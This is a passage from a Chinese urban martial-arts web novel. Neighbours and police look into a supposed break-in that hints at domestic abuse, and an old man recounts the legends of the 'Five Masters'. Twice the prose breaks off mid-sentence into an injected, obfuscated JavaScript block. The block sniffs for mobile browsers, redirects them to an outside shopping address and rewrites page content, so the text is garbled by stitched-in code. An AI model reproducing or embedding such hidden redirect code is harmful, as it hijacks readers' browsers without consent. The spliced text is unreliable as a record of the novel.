“我想啊,那贼盯上的没准是803,”有个邻居有理有据地发表看法,“看老太太今天自己在家,睡得早,耳又背,他胆就大了!没想到摸错阳台了。”
隔壁803的老太太出来围观,正好听见这一句,吓得脸都绿了。
“别瞎猜,别吓着老人家。”804门口的男人摆摆手,“是我们家今天屋里灯泡坏了,一直黑着,可能是那贼以为家里没人吧。”
男人有三十七八岁的模样,高个子,长得挺端正,说话慢声细语的,喻兰川看他有点眼熟,正琢磨是不是在哪见过的时候,男人无意中朝着他的方向看了一眼:“哎,您是……喻总?”
喻兰川反射性地挂起一个职业化的微笑。
“我是IMI的Nicholas啊!他们叫我Nick的,跟您report过会展中心的项目!还记得我吗?”
喻兰川被紧急会议和武林大会搅成一锅粥的脑子里蹦进了一串字母,太阳穴狠狠地跳了几下,灵光一闪,想起了这人是谁——毕竟,他们“白骨精”圈里好几年前就不流行这种“语言混搭风”了,偶尔遇见一位“画风古朴”的,印象还挺深。
喻兰川矜持地一点头:“聂总好。”
这男人叫聂恪,是另一家投资公司的,以前投一个项目的时候想拉喻兰川他们入伙,两家公司因此接触过。喻兰川没记住聂恪的职位,反正出来混的,称呼“某总”肯定出不了错。
“我们家在郊区,太远,赶上早高峰,上班得两个多小时,嗨,买不起市区的房,今年也是为了孩子上这边的幼儿园,才一狠心到这来租房住。幸亏今天幼儿园放假,孩子送回他奶奶家了。”聂恪客客气气地请邻居们进屋,他家客厅的灯果然是坏了,家里黑漆漆的,他把声音放轻了八度,“小满,你要不要紧啊?”
众人这才发现,屋里还有个女人,整个人几乎化进了黑暗里。
尽管聂恪已经把声音放得很低,却好像还是吓着她了,女人僵硬地从沙发上一跃而起,像个脱了水的僵尸。
“这是我太太,”聂恪叹了口气,“当时我在厨房烧水,她自己在屋里,正好撞上那个贼,她也是,不赶紧跑,还要去抓人家——你说说你,就你这样的,能抓住谁啊?万一他有刀呢?我一眼没看见,你就能出事,可怎么好,唉——幸亏那贼也没想到有人,吓了一跳,就推搡了几下,赶紧跑了,还撞碎了我们家一扇窗户。”
甘卿打开了楼道和门厅的灯,借着光,众人看见聂太太手里拿着块纱布,正按着自己的额头,她额角和眼角都有没擦干净的血痕,颧骨上一块很深的淤迹,不知道是不是一直举着手很累,她拿着纱布的手不停地发抖。
“这是撞的。”聂恪揽住她的肩膀,对邻居们说,“头撞桌角上了,我说带她去医院,她还不肯。”
聂太太不吭声,蜷在他肩上,躲躲藏藏的。
邻居们也没在意,不管是谁,好好地在家里坐着,突然有贼闯进来,也得给吓一跳,过后好几天都得睡不好觉,于是纷纷催着聂恪报警。
甘卿在门口没进屋,越过人群,往阳台看去,阳台一扇打开的窗户碎了,有风从那漏进来,窗台上掉了几个零星的玻璃片——从里面往外撞的话,大部分玻璃渣应该是掉下去了。
这会已经基本不堵车了,警方很快赶到,热心邻居们把警察包围了,不等别人询问,就七嘴八舌地往人耳朵里灌自己的看法。
淹没在群众大海中的民警奋力地往外游:“让一让,劳驾都让一让,我们要找被盗的受害人问话!”
聂恪摸了摸聂太太的头发:“我太太是家庭妇女,不太会说话,今天受伤吓坏了,让她先去休息吧,我来跟您说。”
警察问了女人几句话,她都只会点头摇头,都是男人在旁边替她补充,果然一副常年居家、不见外人的样子,于是再三确认她不需要救护车后,也就不问她了。
聂太太就绕开人群,低着头,打算进里屋。
这时,一只手拉住了她,聂太太一激灵,惊惧地回过头,发现拉住她的是个很清瘦的年轻女人。
甘卿轻轻地捏住她的下巴,别过她的脸:“头是在桌角上撞的,脸又是在哪蹭的?”
她很少完全睁开的眼睛里映着门厅的灯光,随着眼珠轻轻转动,那光略有些闪烁,像冰冷的燧石上跳动的火花。
女人僵硬地后退一步,躲开了她的手。
甘卿不在意地把手缩回棉衣袖子里,眼皮垂下来,遮住了眼珠里的光:“是不是你抓住他的时候,被他用力按在墙上撞,然后才没站稳摔下去,撞上桌角的?”
女人胡乱一点头,避开她的视线。
“下次遇到这种事,要及时喊人啊。”甘卿说,“我就住楼上,1003,平时也很闲,有空去找我玩。”
女人木着脸没应声,飞快地钻进了卧室。
甘卿的目光在聂家大开的阳台窗上停留了片刻,又看了一眼正被警察问话的聂恪,悄无声息地避开人群,离开了聂家。
喻兰川看着帽子被挤歪的于严:“怎么又是你?”
“我他妈哪知道?别人值班就平安夜,我一值班就得出警,你说离奇不离奇?”于严愁眉苦脸地说,“兰爷,你还有没有养生的组合拳了,教我两套呗,我觉得我离猝死也不远了。”
甘卿正好经过,听这话,她把兜帽往上一推:“水逆,警官,我有护身符,要吗?给你算内部价,只要五十二块,有需要随时来泥塘后巷找我。”
成本价两块,赚五十,她就可以还孟老板钱了。
于严震惊地说:“你们搞封建迷信的,都搞到人民警察头上了?”
甘卿神神叨叨地一笑,转身就走:“总比在微博上转锦鲤有用,不信算了。”
刚用小号转过锦鲤的于警
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728790|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官膝盖一痛,决定等下班,脱了制服偷偷去。
“刚才有人说看见那个入室飞贼了,”于严正色下来,问喻兰川,“还有人说那贼穿得跟蜘蛛侠似的,手里还拿着个大铁钩?你看见了吗?唉,不瞒你说,最近我们接到好几起高楼失窃案了。”
喻兰川问:“金额大吗?”
“要不说奇怪呢,几起高楼失窃,基本都是未遂——就有一家报案的说是丢了个卡包,你说这小偷,偷卡有什么用?到现在为止,今天这起是最严重的,伤人了。”于严说,“失窃的人家都在六层以上,还都是从窗户进去的,世界上有这样的轻功吗?不会真是蜘蛛侠吧?”
喻兰川想了想:“你跟我来。”
他带着于严从人群里挤出来,下到六楼。老杨大爷就住608,他孙女杨逸凡是奉父母的指示来照顾爷爷的,嫌老头狐朋狗友太多,不肯跟他住一起,于是租了隔壁的房子,就这样,爷孙俩还是天天吵架。
老杨大爷好像早知道他们要来,早早地准备好了茶水等着。
喻兰川把那张纸条展平:“他们说的那个‘蜘蛛侠’爬到我阳台窗外,贴了这张纸,杨爷爷,这个‘堂前燕’传人是谁,您知道吗?”
于严大呼小叫地跳起来:“这是证物啊!你怎么乱碰!”
“我哪知道这是证物,我撕下来的时候又不知道有高楼失窃案。”喻兰川顿了顿,“不过他是在我那贴完纸条,八楼窗户才碎的,而且是从里面往外逃的时候撞碎的,伤人逃逸的那个应该不是贴纸条的人。”
“那也不能说明之前的失窃案跟他没关系,”于严说,“你们这楼,阳台那一面很平整,他当时扒在十楼窗户外面,如果有人从八楼进去,他不可能看不见,所以很可能是一伙的。入户盗窃的本来就是团伙居多。”
“入室盗窃就算了……还团伙。”这时,老杨大爷拿起那张纸条,好一会,他长叹了口气,苦笑了一声,“这简直、简直……唉!”
“当年江湖朋友们奉承,冠了‘五绝’的名号,给我们几个老东西,”老杨大爷慢吞吞地说,“小川,你大爷爷这么多年,为人处世无可指摘,有寒江七诀,剑光如雪,所以人称‘寒江雪’。‘浮梁月’说的是当年一位老兄长,姓韩,练的是道家一派的功夫,祖上在武当山拜过师,后世又融合了齐门、八卦的绝学,仗义得很,抗日战争时期救过你大爷爷的命——不过老兄长比我们大不少,二十多年前就过世了,家里有个孙子辈的,也住这,当公务员,我看那体型都快‘三高’了,祖上的功夫肯定是早撂下了。
“‘穿林风’是我这一支,我啊,没什么本事,本来也不配跟其他几位相提并论,因为解放前在丐帮管过几年事,所以大家伙给我面子。至于‘堂前燕’……我记得他姓闫,大名叫‘闫若飞’,本来是南方人,避世很久了,战乱年月被人请出山,我见过他几次,为人很腼腆,一笑就脸红,像个书生。可真是千里无踪的好功夫。他一个人,从好几层带着枪的卫兵里神不知鬼不觉地闯进去,手刃了三个大汉奸,通缉令挂得大街小巷都是,多少穷凶极恶的人因为他睡不着觉。”
喻兰川问:“后来呢?”
“后来啊,牺牲了。”老杨大爷说,“日本人和汉奸到处抓他,有人出卖了他跟几个朋友落脚的地方,他觉得自己有轻功,能跑得了,就给其他人打掩护,让别人先跑……可是堂前燕子,快得过无影的清风,没快过枪子啊。”
21. 第二十章
“爷爷老了,有些事看法可能不太对,”老杨大爷很诚恳地对于严说,“若飞兄当年是孤身一人来的燕宁,家人我们都没见过,但我想,他那样的一个人,后辈儿孙再不肖,也不至于做出这种事啊。”
“唔,”听着像个烈士后代,没根据的罪名,于严也就不好挂在嘴上瞎猜,就问,“那您看,这个自称‘堂前燕传人’的,有没有可能是冒充的呢?”
老杨大爷:“这……”
喻兰川忽然用胳膊肘捅了于严一下:“高楼失窃案什么时候发生的?”
于严翻出手机,查了一下工作日志:“凌晨一点到四点之间。”
“现在还不到十一点。”喻兰川敲了敲自己的表盘,“案发时大概十点,这楼上有一百多个住户,所有人家的阳台都朝一个方向,十点钟的时候,至少有一半以上的人没有熄灯睡觉,如果是一个盗窃团伙,你不觉得他们太显眼了吗?”
于严皱了皱眉,这时,他收到了同事的呼叫,一个女警找他:“于哥,你去哪了?”
于严:“楼下,问问目击者,怎么了?”
女警声音略微压低了一点,好像有什么不好说的事情:“有点情况,你能上来一下吗?”
于严冲喻兰川晃了晃手机,两人一前一后地站起来,跟老杨大爷告别。
临出门的时候,喻兰川忽然想起了什么,摆手让于严先走,转头问杨大爷:“杨爷爷,您一直说‘五绝’,可数来数去只有四个,还有一位呢?”
老杨大爷一愣,沉默了下来。
喻兰川问:“我问错话了,不能提吗?”
“倒也不是,只是说来话长。”老杨大爷想了想,“五绝中这最后一位……嘿,怎么说呢?当年我们那是特殊时期,所以各路好汉,都能不计出身、不计门第地凑在一起——要是在太平年月里,这位朋友……其实不大算是咱们正道上的人。”
喻兰川听了他的用词,头都大了,没想到二十一世纪了,他这个“盟主”除了调解邻里矛盾之外,居然还有跟“邪魔外道”作斗争的附加义务!
“当然,这都是解放前的事了。”老杨大爷见他脸色不对,连忙解释了一句,“这位朋友当年没透露过自己的姓名,因为人送绰号‘万木春’,所以我们都叫他‘万兄’。长得特别好,秀气到什么程度呢?他票过戏,能唱男旦,一扮上行套,满堂彩。人也柔柔弱弱的,一两百斤的粮食口袋,你要是让他扛,能把他后背压弯了,走一阵就得放下歇一阵,脸也白了,气也虚了,手无缚鸡之力。可你知道他是干什么的吗?”
喻兰川心想:“……狗头军师?”
老杨大爷叹了口气:“‘万木春’这三个字,落在‘春’上,取的是‘随风四散’、‘润物无声’的意思——就是他跟你错身而过,客客气气地冲你点头一笑,你没来得及答应,咽喉就裂开了。他们这一门,有个绝活,把人大卸八块,就像传说中的庖丁解牛,手里拿一把小刀,解完大气不喘、谈笑风生,刀刃一点都不能卷,也就是说不能费劲,费劲了,那就是功夫、眼力不到家。”
喻兰川问:“这是杀手吗?”
“对,当年啊,提起‘万木春’这仨字,听见的人都打个寒噤。”老杨大爷说,“虽说也是个义士,但跟我们终归不是一路人。后来万木春金盆洗手,大家来往才略多了一点,但也就是武林大会的时候过来坐坐。来了就喝一盏茶,从来不跟人动手,也没人敢挑衅他,后来万木春年纪大了,就收了个关门弟子,让徒弟替他来。那小子也是一身邪性气,来了就跟老人们打声招呼,和他师父一样坐下喝茶,有人看不惯,私下里叫了一帮人去堵他,结果这伙后生被他挨个挑断了手筋。他们这一门,从不切磋,练的就是杀术,断筋不是断喉,已经算‘点到为止’了,那回的事,虽说是挑衅的小辈不懂事,但这梁子也结下了,他也就不跟咱们这边来往了。念着老一辈的旧情,二十年前他过来看过我和你大爷爷一次,身边带着个小家伙,说是收养的徒弟,现在也不知道怎么样了。”
喻兰川听完,对解放前的传奇故事毫无感想,只是头更疼了,他希望“武林大会”是个和谐太平的大会,最好是大家坐在一起吃点水果瓜子,叙叙旧、聊聊股票,然后互相交换一下土特产,就友好地各回各家,这种幺蛾子代言人式的人物,可千万别来。
于是他揉着太阳穴,匆匆上楼了。
于严被同事叫到八楼,呼叫他的女警把他拽到一边,小声说:“于哥,我觉得不太对劲,我怀疑那个聂恪是个‘安嘉和’。”
于严一皱眉。
“向小满——就是那个聂太太,她一天二十四小时基本都在家,聂恪下班也还算规律,回来就把车停楼底下,看他家车就知道男人在不在家。按理说高楼行窃的贼肯定都是老手,作案之前没踩点吗?而且那个向小满躲躲闪闪的,基本不正眼看人,一有人问话,她就往后缩,听说他们都搬到这一年了,她从来没跟邻居主动打过招呼,这么一个人,突然有贼闯进家里,她第一反应是上去抓?我不信。”女警语速很快地说,“头上撞成这样,脸还破了,不肯去医院……我怀疑她身上还有别的伤。”
于严:“你的意思是,他家根本没进贼,是聂恪打老婆撞碎了窗户,惊动了邻居,就坡下驴找了个借口?”
“对,”女警义愤填膺地说,“男人没有一个好东西!”
于严:“……”
“不是……于哥,我没说你,你不算。”
“我就当你是夸我吧。”被同事加入“葵花宝典”家族的于严假笑了一下,又说,“邻居都问了吗?”
“问了,都说不知道。”女警一摊手,“大家关着门过日子,就算听见动静,也说不清是夫妻吵架还是家暴,不会随便跟警察说。再说那个聂恪平时挺会做人的,出门还经常给邻居带东西,在这楼人缘不错,抓不着他的把柄。除非女的自己报案,跟我们去医院验伤,可是她根本不跟我们说话!于哥,你快想想办法!”
于严无奈地看了她一眼,心说:“我能有什么办法?”
别说受害人自己不想让人知道,就那些主动报案的,又有多少中途反悔没下文了?家是人灵魂的一部分,家庭暴力里往往糅杂着多重复杂的心理问题,再被漫长的时间、外界的舆论与物质条件等打成一个死结,不是“男人打女人”一句话说得清的。
这些刚工作不久的小青年,总觉得自己穿上制服,就能拯救世界,把“工作的意义”看得至高无上。
可工作能有什么意义?不就是养家糊口么?
管能管的事、不渎职,已经是最高职业道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728791|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
德了。
于严也是年轻过的,不想端着世态炎凉往后辈的热血里泼,就对她说:“我们不能按着头让人报案,但是今天这事,说不定有目击证人。”
女警眼睛一亮:“那个蜘蛛人?”
“对,”于严糊弄她说,“当时这个蜘蛛人就趴在窗外不远的地方,804的动静那么大,他肯定看见什么了,我们可以先找到这个人。你要是不放心,可以试着给聂太太留一个私人联系方式,有时候人们不见得愿意报警,但要是有个可以求助的人,她走投无路的时候说不定会试试。”
小女警信了他的邪,干劲十足地去了。于严看着她的背影叹了口气,走到楼道尽头点了根烟,心里隐约觉得这一宿是白忙。
聂恪家没丢什么东西,而除了聂太太向小满脸上的伤,“贼”也没留下什么痕迹,警察们查了一圈、问了一圈,果然没什么收获,只好让他们登记一下,然后撤了。
等着看这个给喻兰川下战书的“蜘蛛侠”还会不会出现。
一百一十号院的居民们沸沸扬扬地讨论了好几天,除了楼下宣传栏里多了一封提醒大家“锁好门窗、注意安全”的通知外,再没有别的水花了。
“聂太太,早啊。”
“小向,出门呀?”
“天气这么好,是该出来转转,别老在家里闷着。”
向小满低着头,步履匆忙地穿过东小院,别人打招呼,她也不搭话,只是敷衍又仓促地笑一下。
小风把东小院里三姑六婆的声音吹过来,细细地灌进她耳朵。
“……命好呗,家里有房有车,老公能挣钱,天天在家躺着,班也不用上。”
“人家那不叫‘家庭妇女’,叫阔太太,家庭妇女不得管家干活啊?她们家孩子在门口上幼儿园,没见她接送过一次,每天不到快中午不起,吃饭都是在外面买,一礼拜请一次小时工……这不是,去门口洗衣店里拿衣服去了,哎哟,花钱洗衣服,啧!”
“人家老公好,有本事你也嫁。”
“我嫁你爸,给你当后妈好不好……”
说笑声刮过向小满的脸,像个大耳刮子,然而她仿佛已经是挨惯了的,并不在意,木着脸来到了街角的洗衣店。
洗衣店是个老头开的,雇了个二十来岁的小青年打杂,这个时间,老头去吃午饭了,一般都是小店员接待她。
说起这个店员,大家怀疑他不是哑巴就是结巴,有人问话就会点头摇头,逼急了“嗯”一声,一年四季戴口罩、插耳机,好像不遮着脸,他就没有安全感似的,穿一件画着卡通小人的旧T恤,从不跟人对视。
向小满掏出收据条,放在柜台上,洗衣店员就拿起来找她送洗的衣服,俩人谁也不出声,谁也不看谁,跟演默剧似的,店里只能听见烘干机转动的声音。
向小满清点了衣服,头也不抬地略微一颔首,转身要走。
这时,店员居然出声叫住了她。
“等等。”他有一米八,是个高大年轻的小伙子,说话声音却又虚又弱,像猫叫,“你……您等一下。”
向小满回过头去,看见店员从柜台下面摸出一个小纸包,纸包里是一把小刀片。
他的手哆哆嗦嗦的,声音也哆哆嗦嗦的:“这……从您兜里捡的,是您的吗?”